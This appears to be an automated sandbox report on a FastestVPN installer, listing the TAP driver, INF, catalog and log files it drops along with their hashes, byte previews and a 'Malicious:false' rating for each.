                                                                                                                    Preview:L..................F.@.. .....r}l...a...l......$.....l...........................P.O. .:i.....+00.../C:\.....................1.....CY.B..PROGRA~1..t......O.ICY.B....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....^.1.....CY.B..FASTES~1..F......CY.BCY.B....X.......................).F.a.s.t.e.s.t.V.P.N.....j.2..l...XH. .FASTES~1.EXE..N......CY.BCY.B....;.........................F.a.s.t.e.s.t.V.P.N...e.x.e.......Y...............-.......X...........i.YO.....C:\Program Files\FastestVPN\FastestVPN.exe..B.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.F.a.s.t.e.s.t.V.P.N...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N...-.a.u.t.o.r.u.n.(.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.a.p.p.-.i.c.o.n...i.c.o.........%SystemDrive%\Program Files\FastestVPN\app-icon.ico.................................................................................................

                                                                                                                    C:\Windows\INF\oem4.inf

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\drvinst.exe
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7537
                                                                                                                    Entropy (8bit):5.046488463217706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                    MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                    SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                    SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                    SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                    Malicious:false
                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Windows\INF\setupapi.dev.log

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                    File Type:Generic INItialization configuration [BeginLog]
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):58713
                                                                                                                    Entropy (8bit):5.20793930594223
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:OGdni80C/8g0atRf7yr14ujuNY9AZi3Z/oUtwrUUQGSE2fj9kWV/YJLQ1s0PTumw:Own95cdyYloiwgyz2fSg4EXi7b
                                                                                                                    MD5:9D0E078FCF361C82DB97F96C0D9872EB
                                                                                                                    SHA1:02717D937143F572C16B1329B539B0A23FA11533
                                                                                                                    SHA-256:3D26FAA44EA1A4807EF5255BBC37C3F7B6BB4BBFF407A655217AB20B383224BB
                                                                                                                    SHA-512:EDCC9A6D2CDB42F3FAED2FC0B268011B109AD199FC18A1F6414AF56718A96063EC38139170BD1EC8C995C74F45FDC0D98008D63445E8095EE34348B70741344D
                                                                                                                    Malicious:false
                                                                                                                    Preview:[Device Install Log].. OS Version = 10.0.19045.. Service Pack = 0.0.. Suite = 0x0100.. ProductType = 1.. Architecture = amd64....[BeginLog]....[Boot Session: 2023/10/03 09:57:02.288]....>>> [Setup Import Driver Package - C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf]..>>> Section start 2023/10/03 09:57:37.904.. cmd: C:\Windows\System32\spoolsv.exe.. inf: Provider: Microsoft.. inf: Class GUID: {4D36E979-E325-11CE-BFC1-08002BE10318}.. inf: Driver Version: 06/21/2006,10.0.19041.1806.. inf: Catalog File: prnms009.cat.. ump: Import flags: 0x0000000D.. pol: {Driver package policy check} 09:57:37.920.. pol: {Driver package policy check - exit(0x00000000)} 09:57:37.920.. sto: {Stage Driver Package: C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf} 09:57:37.920.. inf: {Query Configurability: C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf} 09:57:37.920.. inf:

                                                                                                                    C:\Windows\Logs\NetSetup\service.0.etl

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):524288
                                                                                                                    Entropy (8bit):0.4241797903621986
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:fL/zm8DmT1xMS92sICkjd0x5AUko5HOLboAcKYzFlgbm3G9/:fL/ZM7mjhRoZO/oAPQG5
                                                                                                                    MD5:E107BF1888585310514EC84B0B9652CE
                                                                                                                    SHA1:599FDBDC8E4AC4002DA61750EAF73AF257F9E43C
                                                                                                                    SHA-256:DDB099B580417BADB367A3176CC9AF5EB400DBC368CB4EC482B0F6A95CAA5E25
                                                                                                                    SHA-512:CC897CF1FDED1408046AC67038D90FED7EAF58171672DDEFB72D19E0AB288703ED0E541EB41B9555E08A675E334A2EFF4163079D65D4EE261F45CFC6B04507D6
                                                                                                                    Malicious:false
                                                                                                                    Preview:....8...8...........................................!....................................?......................eJ.......O.l...Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.6.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.6.1...........................................................@K5..............?..............N.e.t.C.f.g.T.r.a.c.e...C.:.\.W.i.n.d.o.w.s.\.L.o.g.s.\.N.e.t.S.e.t.u.p.\.s.e.r.v.i.c.e...0...e.t.l.........P.P..........?..................................................................8.B..?......19041.1.amd64fre.vb_release.191206-1406.....7.@..?.......I.[.8+m.!N8$......NetSetupEngine.pdb......4.@..?.........>*.....Nr8..a....NetSetupApi.pdb.db......4.@..?.........E_iC...F........NetSetupSvc.pdb.........4.@..?.........E_iC...F........NetSetupSvc.pdb.............................................................................................................................................................

                                                                                                                    C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                    File Type:JSON data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):55
                                                                                                                    Entropy (8bit):4.306461250274409
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                                                    MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                                                    SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                                                    SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                                                    SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                                                    Malicious:false
                                                                                                                    Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                                                                    C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\SET284A.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\drvinst.exe
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7537
                                                                                                                    Entropy (8bit):5.046488463217706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                    MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                    SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                    SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                    SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                    Malicious:false
                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\SET2889.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\drvinst.exe
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):10711
                                                                                                                    Entropy (8bit):7.2254581318251425
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:PqDhDNF748XJCO39JnxrEwJqKkhYCxXA6qnaj/rHr:OXPJxXxkh3xXhlzX
                                                                                                                    MD5:225E7BA0E5E2D46813E5C858A4D0D5B0
                                                                                                                    SHA1:5DD49014764F634164520583FD0CEC87AB1A1625
                                                                                                                    SHA-256:B0BAF5CB84FA4ACB34B77A6231052061DA6B8676D216833724B7A602622161FB
                                                                                                                    SHA-512:9C77ADF7E71ACA94489DFEB536F796A017B7C05771962274BAE2C614E2AE6799CCEB36CC58AC470184C37F52DEAC75988BB14E6A329F432C6D7CEDBCA18272A8
                                                                                                                    Malicious:false
                                                                                                                    Preview:0.)...*.H........).0.)....1.0...`.H.e......0..M..+.....7.....>0..:0...+.....7..........dG.'$....g..191023085812Z0...+.....7.....0..T0.... .}..ID.U..;.t.`.U..h.z.F.......K1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .}..ID.U..;.t.`.U..h.z.F.......K0....._Ne...=.....N.._-%1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.....D.......L..S.4..b.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... .?;..{.x....H..4...k).VB.......1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .?;..{.x....H..4...k).VB...........0...0....+.

                                                                                                                    C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\SET28C9.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\drvinst.exe
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):39920
                                                                                                                    Entropy (8bit):6.333649052940754
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                    MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                    SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                    SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                    SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                    C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\oemvista.inf (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\drvinst.exe
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7537
                                                                                                                    Entropy (8bit):5.046488463217706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                    MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                    SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                    SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                    SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                    Malicious:false
                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\tap0901.cat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\drvinst.exe
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):10711
                                                                                                                    Entropy (8bit):7.2254581318251425
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:PqDhDNF748XJCO39JnxrEwJqKkhYCxXA6qnaj/rHr:OXPJxXxkh3xXhlzX
                                                                                                                    MD5:225E7BA0E5E2D46813E5C858A4D0D5B0
                                                                                                                    SHA1:5DD49014764F634164520583FD0CEC87AB1A1625
                                                                                                                    SHA-256:B0BAF5CB84FA4ACB34B77A6231052061DA6B8676D216833724B7A602622161FB
                                                                                                                    SHA-512:9C77ADF7E71ACA94489DFEB536F796A017B7C05771962274BAE2C614E2AE6799CCEB36CC58AC470184C37F52DEAC75988BB14E6A329F432C6D7CEDBCA18272A8
                                                                                                                    Malicious:false
                                                                                                                    Preview:0.)...*.H........).0.)....1.0...`.H.e......0..M..+.....7.....>0..:0...+.....7..........dG.'$....g..191023085812Z0...+.....7.....0..T0.... .}..ID.U..;.t.`.U..h.z.F.......K1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .}..ID.U..;.t.`.U..h.z.F.......K0....._Ne...=.....N.._-%1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.....D.......L..S.4..b.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... .?;..{.x....H..4...k).VB.......1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .?;..{.x....H..4...k).VB...........0...0....+.

                                                                                                                    C:\Windows\System32\DriverStore\Temp\{43f95aeb-a684-864e-83e0-51fb77f3c6ee}\tap0901.sys (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\drvinst.exe
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):39920
                                                                                                                    Entropy (8bit):6.333649052940754
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                    MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                    SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                    SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                    SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                    C:\Windows\System32\catroot2\dberr.txt

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\drvinst.exe
                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                    Category:modified
                                                                                                                    Size (bytes):5247
                                                                                                                    Entropy (8bit):5.2286675726443494
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:96:QO00eO00erMwUgWUg0B1kE3ZhpJp8ZpkRepk33HpI6pr5b2bRnb2bRnb2bRnb2bF:QO00eO00erMwmkB1kAHb2bRnb2bRnb2y
                                                                                                                    MD5:6CD5F8338BF2E3D434946F813927A4B3
                                                                                                                    SHA1:F4F2F7168C21B82722A234112ADA1B071DFC15C2
                                                                                                                    SHA-256:72FECF1088720E451648C5D62F7957AD80AD23B77FF42FFF068C0315E5635719
                                                                                                                    SHA-512:5C227DD5CC46D3C3365D74DB708786FEADE9BBDB112EEB9690B3607B8F6920E1D8A016CCFF2B0E40ABD1AF10DB5542EE93E06C032923262910E61AC1DC817F49
                                                                                                                    Malicious:false
                                                                                                                    Preview:CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6041 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6699 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #4398 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6041 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #6699 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #4398 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #2083 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #2459 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: SyncAllDBs Corruption or Schema Change..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #891 encountered JET error -1409..CatalogDB: 08:57:12 03/10/2023: catdbsvc.cpp at line #1307 encountered JET error -1601..CatalogDB: 08:57:12 03/10/2023: SyncDB:: Sync sta

                                                                                                                    C:\Windows\System32\drivers\SET3E81.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\drvinst.exe
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):39920
                                                                                                                    Entropy (8bit):6.333649052940754
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                    MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                    SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                    SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                    SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                    C:\Windows\System32\drivers\fastestvpndriver.sys

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\xcopy.exe
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):104424
                                                                                                                    Entropy (8bit):6.366713641084616
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:Y79hJ78bsmPOC5lhtb5FGNk4wZO+cWK4orE3HazVvon6BK2s6th:YpL78XPOCN1GeOUKdebIKfS
                                                                                                                    MD5:95FD4F27F82A9E4D6E2A53AF7A9096E6
                                                                                                                    SHA1:5F772C89901841AF1814C858359AC5FEB9BE3C24
                                                                                                                    SHA-256:98CD2F27906E4FD7FA7FBE0EC747BADEF710BCA736A1AC5EE883756F2185818C
                                                                                                                    SHA-512:6B2E2BA90B33F6658C903203317299057C83545D46549D468CDAA1D6F7BCE887310411B9BF6EEA9D19C214A2041BB5E14FD9395CC4E2FE9FC31AB03B88A75019
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.d.z...z...z.....~...z.........}.....}...Y@..s....A..{....A..{...Richz...........................PE..d... [.\.........."..........L.................@....................................C.....`.................................................8p..P.......H....`.......R...E..........`#..8............................(..p............ ..`............................text...d........................... ..h.rdata....... ......................@..H.data...@....@.......$..............@....pdata.......`.......,..............@..HINIT.........p.......:.............. ....rsrc...H............J..............@..B.reloc...............P..............@..B................................................................................................................................................................................................................................

                                                                                                                    C:\Windows\System32\drivers\tap0901.sys (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\System32\drvinst.exe
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):39920
                                                                                                                    Entropy (8bit):6.333649052940754
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                    MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                    SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                    SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                    SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                    C:\Windows\appcompat\Programs\Amcache.hve

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    File Type:MS Windows registry file, NT/2000 or above
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1835008
                                                                                                                    Entropy (8bit):4.372514625166283
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6144:yFVfpi6ceLP/9skLmb0ayWWSPtaJG8nAge35OlMMhA2AX4WABlguN2iL:aV1QyWWI/glMM6kF7gq
                                                                                                                    MD5:CD77A6428D466DC88A9775B991CCC33F
                                                                                                                    SHA1:7578E92C9BE6467B77F353AEA4F8D7921CEB86B5
                                                                                                                    SHA-256:5A695A291A0591D1A9C4E729D9902211CF6BA2CB530F99A48EF1058EC339ACF5
                                                                                                                    SHA-512:87B64D91E020723467E8F7AFE3FC535EBCBD7575F2F1A1EB5700636A634790F0B5B42E6E6D3831C0A9B86AEAAFAA5A18EEE918CDA2E1BD530D6A008CACB73DC3
                                                                                                                    Malicious:false
                                                                                                                    Preview:regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.Z..l...............................................................................................................................................................................................................................................................................................................................................p...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    \Device\ConDrv

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\subinacl.exe
                                                                                                                    File Type:ASCII text
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):133
                                                                                                                    Entropy (8bit):4.004784065185313
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:E8Hu/FvfVFcLaNKB4z/F/eAFFXx26LX/FFVbQAtbR91q:E2u/F8La3FGgy6L1bVDq
                                                                                                                    MD5:CE8AE87D7F83FA032F2A60AB0B8F0FE4
                                                                                                                    SHA1:203E8416D17D3A9E03509009A8F20F94C51C0381
                                                                                                                    SHA-256:F3617B3A17F48864D33A4C32D4F9AE862B23E07F35504C8D4DBE79AC589D395D
                                                                                                                    SHA-512:091E97EA19CCF4D6870F8EA861DCCC0F87E4928AC39C64A2AA1085C94EAE5F6707919A18FB3A56EE94F7483950F34128E7E8D321129F810C0847F3493F269682
                                                                                                                    Malicious:false
                                                                                                                    Preview:.Elapsed Time: 00 00:00:00.Done: 1, Modified 1, Failed 0, Syntax errors 0.Last Done : FastestVPNService.

                                                                                                                    Static File Info

                                                                                                                    General

                                                                                                                    File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                    Entropy (8bit):7.984197814923187
                                                                                                                    TrID:
                                                                                                                    • Win32 Executable (generic) a (10002005/4) 98.45%
                                                                                                                    • Inno Setup installer (109748/4) 1.08%
                                                                                                                    • Win32 EXE PECompact compressed (generic) (41571/9) 0.41%
                                                                                                                    • Win16/32 Executable Delphi generic (2074/23) 0.02%
                                                                                                                    • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                    File name:mnFHs2DuKg.exe
                                                                                                                    File size:13'092'720 bytes
                                                                                                                    MD5:9b5f9e0459cf54039a5bd005835daf7a
                                                                                                                    SHA1:19bf1f1e7c133ab6f3b4d69ec0d69dce25ab272f
                                                                                                                    SHA256:39551715b734f4a331dd0b39a953a79567f642dc38bfa173f9849a4dbdd7d34e
                                                                                                                    SHA512:dec8fb04dd087314f4f326d1bb5fb5cf7e462abcb94128f5079b9ec793b7219bc4dfd4fa54a87a304926be2f46cc647d6b1f426a4003e9907ee33ba4194bf0de
